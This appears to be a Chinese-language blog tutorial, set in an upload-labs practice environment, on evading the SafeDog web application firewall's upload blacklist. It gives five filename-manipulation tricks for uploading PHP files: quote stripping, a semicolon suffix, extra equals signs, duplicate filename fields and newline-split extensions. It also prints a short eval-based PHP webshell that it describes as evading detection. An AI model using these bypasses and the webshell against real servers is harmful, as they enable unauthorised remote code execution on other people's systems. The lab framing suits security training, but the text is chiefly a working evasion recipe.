1,3,4方法比较稳健
目录
4.filename=;filename="xxx.php"
实验环境
安全狗+phpstudy+upload-labs-master
安全狗开启后,会有一个后缀名上传黑名单
先上传一个图片马,抓包查看
若是正常后缀名,可以上传
换成.php ,就会上传失败
设法绕过(这里是以第二关为例,,过其他关时还要考虑那一关的代码绕过)
1.用单双引号防匹配绕过
将文件名写成 filename="php (去掉右侧引号,上传成功)
换成单引号也行(不加引号也可以)
上传成功,但是普通的木马文件会被扫出来
此版本安全狗免杀
<?php
define("hi","$_REQUEST[pass]");
eval(hi);
?>
上传后连接
2.filename="abc.jpg;.php"
可以绕过上传,保存为 abc.jpg;.php
会以php文件执行
安全狗匹配时,会以 分号 为结束,后面的 .php 不会被匹配拉黑
这个方法不稳,有时候会被狗拦截
3. filename==="xxx.php"
要三个以上等号,,可以绕过
4.filename=;filename="xxx.php"
多个filename,,安全狗识别时会识别第一个,但是保存时会保存最后一个
5.换行绕过
将代码改为
filename="xxx.p
h
p"
换几次行都行,,因为安全狗匹配时
会将文件名识别为 xxx.p\nh\np
只要将不是 .php 就行
上传保存时会自动取消 \n ,保存为 xxx.php
新版本的安全狗会拦